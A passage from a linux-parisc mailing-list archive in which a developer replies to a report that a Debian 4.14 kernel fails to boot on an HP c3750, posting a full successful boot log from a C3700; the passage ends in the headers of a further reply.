||/ Name                               Version                Architecture           Description
+++-==================================-======================-======================-=========================================================================
ii  palo                               1.99                   hppa                   Linux boot loader for HP PA-RISC

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 21:21:56 +0100
Lines: 356
Approved: news@gmane.org
Message-ID: <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
References: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512332529 30442 195.159.176.226 (3 Dec 2017 20:22:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 20:22:09 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
To: John David Anglin <dave.anglin@bell.net>,
        linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 21:22:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLalw-0006zs-IE
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 21:21:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752162AbdLCUWE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 15:22:04 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60491 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752094AbdLCUWC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 15:22:02 -0500
Original-Received: from [192.168.20.60] ([193.159.26.155]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4Wwq-1fHvUf2Stg-00yfNJ; Sun, 03
 Dec 2017 21:21:57 +0100
In-Reply-To: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:LJmE3rM61oNH3vhVJCor07BBDkF3Le1gC+zHUey8LLx6ZJRewTm
 cM7evPVZXPO7GsXB1f82h6WPWON/rcSdIvQ2LnRYceeUmkJrcRsm0xfHLABjos7taPTA9Vn
 9JZ7gQS7gm+lP4o35efrflxjQAnXvAXJYbow1+HMX3elBJu+sJAtGxkrJZM9VichG1O6RPd
 D3MCXowlZ7FUF62Nc5kkA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kRbmQZgDI7w=:tDLlIZWE56wObpaYQvQXeL
 8N0QNmW8Qu5uRzctYCGmivANwPiAvBOMLpLIWja2oKhuTDMDoEOEfhDjno7DmwQUmOF5nWb8y
 fZGUQFFugOalhLSal0shAhSg0/4LP+gfxKroYCoChNd8+pwC/N1UcR9IQgFS1gi0dASMySJJi
 wvpcprJzlbn7sd2w/zIAXGAFFbkUqcqXysorTYrpu3hGWEbov0S2n1vwddZ/boZ1C/A1bXaQl
 wVDlrSQdFBpATxaZgFNzsKIr571FkE9z9oTuy1eLpmhn6WyymRkCDcF2JDuo1KGigAMWn2Hl9
 k+vg/LfIgqIbhmbC8/p/Hn3sA/Pt4PDzRMPRKyxpJwa7kmhMkYmzqvD3lfkjtGEAc/HfHZTZk
 zaBLCkgdlqVap49jSRT6Yi62QuhLV87bo846GZxZeI9iNDus0c0RUmn5xx3GvJCMpJ8FEutiE
 3Jzha3GIIpQC8e4eBPmWBSS8DyF08cbzn8VmZB76oF2Fgz8gFpj/OujjVcRT3XMFEXRKcSuZI
 Rr3zhbdRNt1/qvW6TKioFKuwbMtlmBsODtRoj18vdDVByAx4PdpnGgpPMDRhWH6gxRLpXCdvn
 3VPOhUx+r6s7erH88xWrrJ9P1NVby0WFoAWgbJ9VQX+jUD+BtbvwFwY/jZN+qC6Hn5l1t872q
 WBKfhloF4C6U7rzPvPpe+7QljvcZ7mvdjjWDemsum3IwWQf4tQKzJ3HdcQkt744BW8HnzO63s
 blwUxhTe4zjYELHgoxnVTZb7LQe94pDrZ9UzOpmppRVq2a0XXyYjTmrxtVOHD8uKkieLaImi 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28026>

On 03.12.2017 17:54, John David Anglin wrote:
> Fails early, probably in palo.  I don't have a boot log as the machine has a graphics console.
> 
> ii  linux-image-4.13.0-1-parisc64-smp          4.13.13-1     hppa         Linux 4.13 for multiprocessor 64-bit PA-RISC
> ii  linux-image-4.14.0-1-parisc64-smp          4.14.2-1      hppa         Linux 4.14 for multiprocessor 64-bit PA-RISC
> 
> The 4.13.13-1 kernel boots okay.
> 
> root@hiauly6:/var/log# dpkg -l palo
> ii  palo                               1.99                   hppa                   Linux boot loader for HP PA-RISC


Strange.
It works nicely for me on my C3700 machine:


palo ipl 1.99 http://www.parisc-linux.org - Fri, 18 Aug 2017 11:50:44 +0200
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               2      33   f0 Palo
2              34     157   83 ext2
5             159   134887   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 18847280(0) bytes @ 0x140000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 463104 mediaptr 0x1000
Segment 1 load 00172000 size 210976 mediaptr 0x73000
Segment 2 load 00200000 size 10634416 mediaptr 0xa7000
Segment 3 load 00c25000 size 3194732 mediaptr 0xacc000
Segment 4 load 01000000 size 2631320 mediaptr 0xdd8000
Loading ramdisk 21583160 bytes @ 3eb59000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 4.14.0-1-parisc64-smp (debian-kernel@lists.debian.org) (gcc version 7.2.0 (GCC)) #1 SMP Debian 4.14.2-1 (2017-11-30)
[    0.000000] unwind_init: start = 0x40ed19cc, end = 0x40f30f6c, entries = 24410
[    0.000000] FP[0] enabled: Rev 1 Model 19
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
[    0.000000] random: fast init done
[    0.000000] vers  00000301
[    0.000000] CPUID vers 19 rev 11 (0x0000026b)
[    0.000000] capabilities 0x7
[    0.000000] model 9000/785/C3700
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000007fffffff Size   2048 MB
[    0.000000] Total Memory: 2048 MB
[    0.000000] initrd: 7eb59000-7ffee538
[    0.000000] initrd: reserving 3eb59000-3ffee538 (mem_max 80000000)
[    0.000000] PDT: type PDT_PDC, size 50, entries 0, status 2, dbe_loc 0xffffffffffffffff, good_mem 30 MB
[    0.000000] PDT: Firmware reports all memory OK.
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
[    0.000000] percpu: Embedded 27 pages/cpu @00000000bdf25000 s71712 r8192 d30688 u110592
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists, mobility grouping on.  Total pages: 516096
[    0.000000] Kernel command line: root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Memory: 2016828K/2097152K available (10388K kernel code, 4294K rwdata, 1376K rodata, 1024K init, 848K bss, 80324K reserved, 0K cma-re)
[    0.000000] virtual kernel memory layout:
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    0.000000]     memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
    0.000000]       .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
    0.000000]       .data : 0x0000000040c25000 - 0x00000000411aeae0   (5670 kB)
    0.000000]       .text : 0x0000000040200000 - 0x0000000040c25000   (10388 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS: 128
[    0.000011] sched_clock: 64 bits at 750MHz, resolution 1ns, wraps every 4398046511103ns
[    0.105387] Console: colour dummy device 160x64
[    0.164070] Calibrating delay loop... 1494.01 BogoMIPS (lpj=2988032)
[    0.268015] pid_max: default: 32768 minimum: 301
[    0.332805] Security Framework initialized
[    0.384023] Yama: disabled by default; enable with sysctl kernel.yama.*
[    0.472195] AppArmor: AppArmor initialized
[    0.528261] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.616096] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.714533] Hierarchical SRCU implementation.
[    0.773725] smp: Bringing up secondary CPUs ...
[    0.832023] smp: Brought up 1 node, 1 CPU
[    0.888943] devtmpfs: initialized
[    0.934735] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    1.060069] futex hash table entries: 2048 (order: 4, 65536 bytes)
[    1.146496] NET: Registered protocol family 16
[    1.205279] EISA bus registered
[    1.248220] Searching for devices...
[    1.524013] Found devices:
[    1.560030] 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    1.668024] 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
[    1.776024] 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
[    1.880067] 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
[    1.988029] 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
[    2.096025] 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
[    2.192032] 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
[    2.284022] Enabling regular chassis codes support v0.05
[    2.484589] CPU(s): 1 out of 1 PA8700 (PCX-W2) at 750.000000 MHz online
[    2.579703] Cache flush threshold set to 656 KiB
[    2.642776] TLB flush threshold set to 40 KiB
[    2.728384] SBA found Astro 2.1 at 0xfffffffffed00000
[    2.796089] Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
[    2.876889] LBA 10:0: PCI host bridge to bus 0000:00
[    2.940077] pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
[    3.024025] pci_bus 0000:00: root bus resource [mem 0xfffffffff4000000-0xfffffffff47fffff] (bus address [0xf4000000-0xf47fffff])
[    3.176030] pci_bus 0000:00: root bus resource [bus 00]
[    3.246230] PCI: Enabled native mode for NS87415 (pif=0x8f)
[    3.325864] Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
[    3.404350] LBA 10:1: PCI host bridge to bus 0000:01
[    3.468034] pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
[    3.588028] pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
[    3.740027] pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
[    3.892075] pci_bus 0000:01: root bus resource [bus 01]
[    3.964261] iosapic: hpa not registered for 0000:01:04.0
[    4.032386] Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
[    4.112359] LBA 10:4: PCI host bridge to bus 0000:02
[    4.180035] pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
[    4.296037] pci_bus 0000:02: root bus resource [mem 0xfffffffff9000000-0xfffffffff9ffffff] (bus address [0xf9000000-0xf9ffffff])
[    4.448027] pci_bus 0000:02: root bus resource [mem 0xfffffffff6000000-0xfffffffff67fffff] (bus address [0xf6000000-0xf67fffff])
[    4.600028] pci_bus 0000:02: root bus resource [bus 02]
[    4.672818] iosapic: hpa not registered for 0000:02:03.0
[    4.740384] Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
[    4.820337] LBA 10:6: PCI host bridge to bus 0000:03
[    4.888169] pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
[    5.004028] pci_bus 0000:03: root bus resource [mem 0xfffffffff7000000-0xfffffffff77fffff] (bus address [0xf7000000-0xf77fffff])
[    5.156028] pci_bus 0000:03: root bus resource [bus 03]
[    5.231823] powersw: Soft power switch at 0xfffffff0f0400804 enabled.
[    5.324572] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages
[    5.414856] vgaarb: loaded
[    5.536173] VFS: Disk quotas dquot_6.6.0
[    5.584191] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    5.677237] AppArmor: AppArmor Filesystem Enabled
[    5.752377] NET: Registered protocol family 2
[    5.809256] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[    5.904358] TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
[    5.992506] TCP: Hash tables configured (established 16384 bind 16384)
[    6.080017] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[    6.156095] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[    6.244329] NET: Registered protocol family 1
[    6.300164] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
[    6.392059] SuperIO: Serial port 1 at 0x3f8
[    6.448033] SuperIO: Serial port 2 at 0x2f8
[    6.504030] SuperIO: Parallel port at 0x378
[    6.560029] SuperIO: Floppy controller at 0x3f0
[    6.620029] SuperIO: ACPI at 0x7e0
[    6.664173] SuperIO: USB regulator enabled
[    6.720535] Unpacking initramfs...
[    8.418641] Freeing initrd memory: 21076K
[    8.468240] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0xacf9151134, max_idle_ns: 440795214493 ns
[    8.600118] clocksource: Switched to clocksource cr16
[    8.668487] Enabling PDC chassis warnings support v0.05
[    8.737457] Performance monitoring counters enabled for Allegro W2
[    8.820610] audit: initializing netlink subsys (disabled)
[    8.892858] audit: type=2000 audit(1512332275.887:1): state=initialized audit_enabled=0 res=1
[    9.005130] workingset: timestamp_bits=43 max_order=19 bucket_order=0
[    9.090093] zbud: loaded
[   37.399022] Key type asymmetric registered
[   37.453199] Asymmetric key parser 'x509' registered
[   37.517670] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 250)
[   37.615329] io scheduler noop registered
[   37.666936] io scheduler deadline registered
[   37.723196] io scheduler cfq registered (default)
[   37.785042] io scheduler mq-deadline registered
[   37.848242] PDC Stable Storage facility v0.30
[   38.242827] STI GSC/PCI core graphics driver Version 0.9b
[   38.314013] sti 0000:01:04.0: enabling SERR and PARITY (0002 -> 0142)
[   38.398777] STI PCI graphic ROM found at fffffffff4800000 (64 kB), fb at fffffffffa000000 (32 MB)
[   38.589866] STI ROM supports 32 bit firmware functions.
[   38.658624] STI selected 8x16 framebuffer font VGA8x16 for sticon
[   38.738834]     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
[   38.818440]     graphics card name: PCI_GRAFFITIX1280
[   38.884947] sticon: Initializing STI text console.
[   38.950364] Console: switching to colour STI console 160x64
[   40.143996] Console: switching to colour frame buffer device 160x64
[   40.311231] fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xfffffffffa100000
[   40.446579] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[   40.529275] serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
[   40.631226] console [ttyS0] enabled
[   40.631226] console [ttyS0] enabled
[   40.718823] bootconsole [ttyB0] disabled
[   40.718823] bootconsole [ttyB0] disabled
[   40.817599] serial8250: ttyS1 at I/O 0x2f8 (irq = 4, base_baud = 115200) is a 16550A
[   40.911496] Linux agpgart interface v0.103
[   40.960513] quicksilver: No Pluto found, so no AGPGART for you.
[   41.032072] mousedev: PS/2 mouse device common for all mice
[   41.100946] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   41.186564] ledtrig-cpu: registered to indicate activity on CPUs
[   41.259160] NET: Registered protocol family 10
[   41.313938] Segment Routing with IPv6
[   41.357891] mip6: Mobile IPv6
[   41.393475] NET: Registered protocol family 17
[   41.446735] mpls_gso: MPLS GSO support
[   41.492542] registered taskstats version 1
[   41.541680] zswap: loaded using pool lzo/zbud
[   41.594084] AppArmor: AppArmor sha1 policy hashing enabled
[   41.659839] ima: No TPM chip found, activating TPM-bypass! (rc=-19)
[   41.737476] rtc-generic rtc-generic: setting system clock to 2017-12-03 20:18:29 UTC (1512332309)
[   41.847263] Freeing unused kernel memory: 1024K
[   41.901682] Write protecting the kernel read-only data: 1376k
Loading, please wait...
starting version 235
[   42.622004] tulip: Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[   42.897074] SCSI subsystem initialized
[   42.997992] usbcore: registered new interface driver usbfs
[   43.185917] tulip0: no phy info, aborting mtable build
[   43.248289] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
[   43.403892] usbcore: registered new interface driver hub
[   43.468955] usbcore: registered new device driver usb
[   43.545569] net eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff4008000, 00:30:6e:48:aa:64, IRQ 66
[   43.662804] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   43.749973] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   44.058247] sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 69
[   44.146187] ehci-pci: EHCI PCI platform driver
[   44.207519] ohci-pci: OHCI PCI platform driver
[   44.263747] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[   44.345873] sym0: SCSI BUS has been reset.
[   44.398567] sym0: SCSI BUS mode change from SE to SE.
[   44.402517] sym0: SCSI BUS has been reset.
[   44.510541] scsi host0: sym-2.2.3
[   44.558573] scsi host1: pata_ns87415
[   44.602583] scsi host2: pata_ns87415
[   44.646201] ata1: PATA max MWDMA2 cmd 0xf00 ctl 0xe00 bmdma 0xa00 irq 7
[   44.725467] ata2: PATA max MWDMA2 cmd 0xd00 ctl 0xb00 bmdma 0xa08 irq 7
[   44.809407] ohci-pci 0000:00:0e.2: OHCI PCI host controller
[   44.878682] ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 1
[   44.974847] ohci-pci 0000:00:0e.2: irq 1, io mem 0xfffffffff4007000
[   45.050734] ata1.00: ATAPI: CD-532E-B, 2.0A, max MWDMA2
[   45.113995] usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
[   45.195337] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   45.281870] usb usb1: Product: OHCI PCI host controller
[   45.344439] usb usb1: Manufacturer: Linux 4.14.0-1-parisc64-smp ohci_hcd
[   45.424731] usb usb1: SerialNumber: 0000:00:0e.2
[   45.482667] hub 1-0:1.0: USB hub found
[   45.528256] ata1.00: configured for MWDMA2
[   45.577541] hub 1-0:1.0: 3 ports detected
[   45.860693] sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 69
[   45.952012] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[   46.035227] sym1: SCSI BUS has been reset.
[   46.087344] scsi host3: sym-2.2.3
[   49.544849] scsi: waiting for bus probes to complete ...
[   50.645610] scsi 3:0:5:0: Direct-Access     COMPAQ   BF14688577       HPB2 PQ: 0 ANSI: 3
[   50.742525] scsi target3:0:5: tagged command queuing enabled, command queue depth 16.
[   50.836430] scsi target3:0:5: Beginning Domain Validation
[   50.908934] scsi target3:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
[   51.000937] scsi target3:0:5: Domain Validation skipping write tests
[   51.077043] scsi target3:0:5: Ending Domain Validation
[   51.140476] scsi 3:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
[   51.237417] scsi target3:0:6: tagged command queuing enabled, command queue depth 16.
[   51.331258] scsi target3:0:6: Beginning Domain Validation
[   51.401333] scsi target3:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
[   51.491687] scsi target3:0:6: Domain Validation skipping write tests
[   51.567819] scsi target3:0:6: Ending Domain Validation
[   53.986246] scsi 1:0:0:0: CD-ROM            TEAC     CD-532E-B        2.0A PQ: 0 ANSI: 5
[   54.345230] sd 3:0:5:0: [sda] 286749488 512-byte logical blocks: (147 GB/137 GiB)
[   54.435111] sd 3:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
[   54.544706] sd 3:0:6:0: [sdb] Write Protect is off
[   54.602514] sd 3:0:5:0: [sda] Write Protect is off
[   54.661805] sd 3:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   54.764987] sr 1:0:0:0: [sr0] scsi3-mmc drive: 32x/32x cd/rw xa/form2 cdda tray
[   54.852578] cdrom: Uniform CD-ROM driver Revision: 3.20
[   54.915192] sd 3:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   55.048066]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   55.101515]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   55.181368] sd 3:0:5:0: [sda] Attached SCSI disk
[   55.259224] random: crng init done
[   55.317226] sd 3:0:6:0: [sdb] Attached SCSI disk
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.
Begin: Will now check root file system ... fsck from util-linux 2.30.2
[/sbin/fsck.ext4 (1) -- /dev/sda5] fsck.ext4 -a -C0 /dev/sda5 
ROOT: clean, 98931/8626176 files, 3246659/34490624 blocks
done.
[   56.841651] EXT4-fs (sda5): mounted filesystem with ordered data mode. Opts: (null)
done.
Begin: Running /scripts/local-bottom ... done.
Begin: Running /scripts/init-bottom ... done.
INIT: version 2.88 booting
Using makefile-style concurrent boot in runlevel S.
Starting the hotplug events dispatcher: systemd-udevdstarting version 235
.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...[   61.084525] sd 3:0:5:0: Attached scsi generic sg0 type 0
[   62.130990] sd 3:0:6:0: Attached scsi generic sg1 type 0
[   62.623219] sr 1:0:0:0: Attached scsi generic sg2 type 5
done.
Activating swap...[   66.411887] Adding 5249020k swap on /dev/sda6.  Priority:-2 extents:1 across:5249020k FS
done.
[   66.781479] net eth0: Setting full-duplex based on MII#1 link partner capability of 05e1
[   66.968703] EXT4-fs (sda5): re-mounted. Opts: errors=remount-ro
Activating lvm and md swap...done.
Checking file systems...fsck from util-linux 2.30.2
BOOT: clean, 23/31744 files, 90532/126976 blocks
done.
Cleaning up temporary files... /tmp.
[   71.094991] EXT4-fs (sda2): mounting ext2 file system using the ext4 subsystem
[   71.188204] EXT4-fs (sda2): mounted filesystem without journal. Opts: (null)
Mounting local filesystems...done.
Activating swapfile swap...done.
Cleaning up temporary files....
Starting AppArmor profiles:Mounting securityfs on /sys/kernel/security...Warning from stdin (line 1): /sbin/apparmor_parser: cannot use or update can
Warning failed to create cache: (null)
.
Setting kernel variables...done.
Configuring network interfaces...ifup: interface eth0 already configured
done.
Starting RPC port mapper daemon: rpcbind.
[   74.873589] RPC: Registered named UNIX socket transport module.
[   74.944511] RPC: Registered udp transport module.
[   75.000885] RPC: Registered tcp transport module.
[   75.057223] RPC: Registered tcp NFSv4.1 backchannel transport module.
[   75.214198] FS-Cache: Loaded
[   75.387633] FS-Cache: Netfs 'nfs' registered for caching
[   75.619736] Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Starting NFS common utilities: statd idmapd.
Cleaning up temporary files....
Setting up ALSA...done.
Setting up X socket directories... /tmp/.X11-unix /tmp/.ICE-unix.
INIT: Entering runlevel: 2
Using makefile-style concurrent boot in runlevel 2.
Starting enhanced syslogd: rsyslogd.
Starting system message bus: dbus.
Starting cgroup management daemon: cgmanagerStarting virtual private network daemon:.
Starting anac(h)ronistic cron: anacron.
Starting Apache httpd web server: apache2.
Starting deferred execution scheduler: atd.
Starting Avahi mDNS/DNS-SD Daemon: avahi-daemon.
Starting cgroup management proxy daemon: cgproxy.
Starting periodic command scheduler: cron.
Starting SMP IRQ Balancer: irqbalance.
saned disabled; edit /etc/default/saned.
Starting OpenBSD Secure Shell server: sshd.
Starting MTA: exim4.
ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken

Debian GNU/Linux buster/sid c3000 ttyS0

c3000 login: 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 21:36:23 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <7df24e2b-24b4-c62d-eff6-33813c883280@gmx.de>
References: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net>
 <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512333387 4507 195.159.176.226 (3 Dec 2017 20:36:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 20:36:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
To: John David Anglin <dave.anglin@bell.net>,
        linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 21:36:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLazt-0003TX-Q5
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 21:36:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752094AbdLCUg3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 15:36:29 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:52920 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752088AbdLCUg2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 15:36:28 -0500
Original-Received: from [192.168.20.60] ([193.159.26.155]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lj61K-1ewb2d0xyQ-00dGfN; Sun, 03
 Dec 2017 21:36:25 +0100
In-Reply-To: <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K0:hpjhuRrF46qVHxolcql2wAS3Oc5dI7v5WU7542Plp1n5rol+4mL
 HB0YN65SQ88fu4fsESp52Z1pZAkmJAvITXN9dRTHxeQ5NEC5bZndpxM62lsxWqvKK0QQiUV
 X/i1rLx9LPcUE3ssJl2qRnnXwK02tCp3ITlwrqXHx2N59rETgby5LYhPY14vbLX5XSpEFRm
 DVmlTbUr0gojyeUrRHLzA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:a3+UMH84WSk=:WMdzHjgV+SuHiV2mmTNaHi
 ccGx+dj/bhgu71o20GqzwD8e1PZIyszEDckw97mkCT691sSIdbReQOLVjhm/8J1wT5CfdlTFd
